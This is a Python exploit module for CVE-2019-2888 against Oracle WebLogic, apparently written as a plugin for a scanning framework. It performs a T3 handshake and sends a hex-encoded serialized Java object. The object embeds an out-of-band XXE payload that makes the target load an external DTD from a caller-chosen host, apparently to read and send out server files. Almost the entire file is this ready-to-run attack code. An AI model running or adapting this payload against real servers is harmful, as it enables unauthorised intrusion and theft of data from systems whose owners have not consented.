#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
# CVE-2019-2888
# updated 2019/10/23
# by jas502n
# Not response
import binascii
import socket
import time

from stars import universe, Star, target_type


@universe.groups()
class CVE_2019_2888(Star):
    info = {
        'NAME': '',
        'CVE': 'CVE-2019-2888',
        'TAG': []
    }
    type = target_type.MODULE

    def light_up(self, dip, dport, delay=1, timeout=5, xxe_netloc='127.0.0.1:8080', *args, **kwargs) -> (bool, dict):
        # 对端响应数据需要一段时间，使用 delay 来控制，如果不成功，可以加到 3s 左右，超过这个基本都是打了补丁的
        # t3 handshake
        dport = int(dport)
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        try:
            sock.connect((dip, dport))
        except socket.timeout:
            return False, {'msg': 'connection timeout.'}
        except ConnectionRefusedError:
            return False, {'msg': 'connection refuse.'}
        sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))
        time.sleep(delay)
        sock.recv(1024)

        # build t3 request object
        payload = '000009f3016501ffffffffffffffff000000710000ea6000000018432ec6a2a63985b5af7d63e64383f42a6d92c9e9af0f9472027973720078720178720278700000000c00000002000000000000000000000001007070707070700000000c00000002000000000000000000000001007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200094900056d616a6f724900056d696e6f7249000b706174636855706461746549000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000'

        # send evil object data
        payload += 'aced00057372002f7765626c6f6769632e736572766c65742e656a62326a73702e64642e454a425461676c696244657363726970746f7282ded23716d9cc790c000078707a0000'
        # -------- attack code start --------
        eval_payload = '041a3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c21444f435459504520786d6c726f6f746e616d65205b3c21454e544954592025206161612053595354454d2022687474703a2f2f'
        eval_payload += xxe_netloc.encode().hex()
        eval_payload += '2f6578742e647464223e256161613b256363633b256464643b5d3e2f7777772e6265612e636f6d2f736572766572732f776c733630302f6474642f7765626c6f6769632d656a62326a73702e647464223e0a3c656a62326a73702d7461676c69623e0a20203c66696c6573797374656d2d696e666f3e0a202020203c6a617661632d706174683e3c2f6a617661632d706174683e0a202020203c6a617661632d666c6167733e3c2f6a617661632d666c6167733e0a202020203c636f6d70696c652d636c617373706174683e0a202020203c2f636f6d70696c652d636c617373706174683e0a202020203c6b65657067656e6572617465643e66616c73653c2f6b65657067656e6572617465643e0a202020203c736f757263652d706174683e0a202020203c2f736f757263652d706174683e0a202020203c7061636b6167652d6e616d653e3c2f7061636b6167652d6e616d653e0a202020203c656a622d6a61722d66696c653e3c2f656a622d6a61722d66696c653e0a202020203c736176652d61733e3c2f736176652d61733e0a202020203c736176652d7461676c69622d6a61723e0a2020202020203c746d706469723e3c2f746d706469723e0a2020202020203c7461676c69622d6a61722d66696c653e3c2f7461676c69622d6a61722d66696c653e0a202020203c2f736176652d7461676c69622d6a61723e0a202020203c736176652d7461676c69622d6469726563746f72793e0a2020202020203c636c61737365732d6469726563746f72793e3c2f636c61737365732d6469726563746f72793e0a2020202020203c746c642d66696c653e3c2f746c642d66696c653e0a202020203c2f736176652d7461676c69622d6469726563746f72793e0a20203c2f66696c6573797374656d2d696e666f3e0a20203c656a623e0a202020203c656a622d6e616d653e3c2f656a622d6e616d653e0a202020203c72656d6f74652d747970653e3c2f72656d6f74652d747970653e0a202020203c686f6d652d747970653e3c2f686f6d652d747970653e0a202020203c6a6e64692d6e616d653e3c2f6a6e64692d6e616d653e0a202020203c656a622d747970653e3c2f656a622d747970653e0a202020203c656e61626c65643e747275653c2f656e61626c65643e0a202020203c656a622d6d6574686f64733e0a202020203c2f656a622d6d6574686f64733e0a202020203c686f6d652d6d6574686f64733e0a202020203c2f686f6d652d6d6574686f64733e'
        payload += '0' + hex(len(binascii.unhexlify(eval_payload)))[2:]
        payload += eval_payload
        payload += '771c0a20203c2f656a623e0a3c2f656a62326a73702d7461676c69623e0a78'
        payload += 'fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200074900056d616a6f724900056d696e6f7249000b706174636855706461746549000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200094900056d616a6f724900056d696e6f7249000b706174636855706461746549000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774621000000000000000000093132372e302e312e31000b75732d6c2d627265656e73a53caff10000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff0078fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d018140128134bf427600093132372e302e312e31a53caff1000000000078'
        payload += '%s%s' % ('{:08x}'.format(len(payload) // 2 + 4), payload)

        # --------- attack code end ---------
        sock.send(bytes.fromhex(payload))
        time.sleep(delay)

        return True, {'msg': 'finish.'}
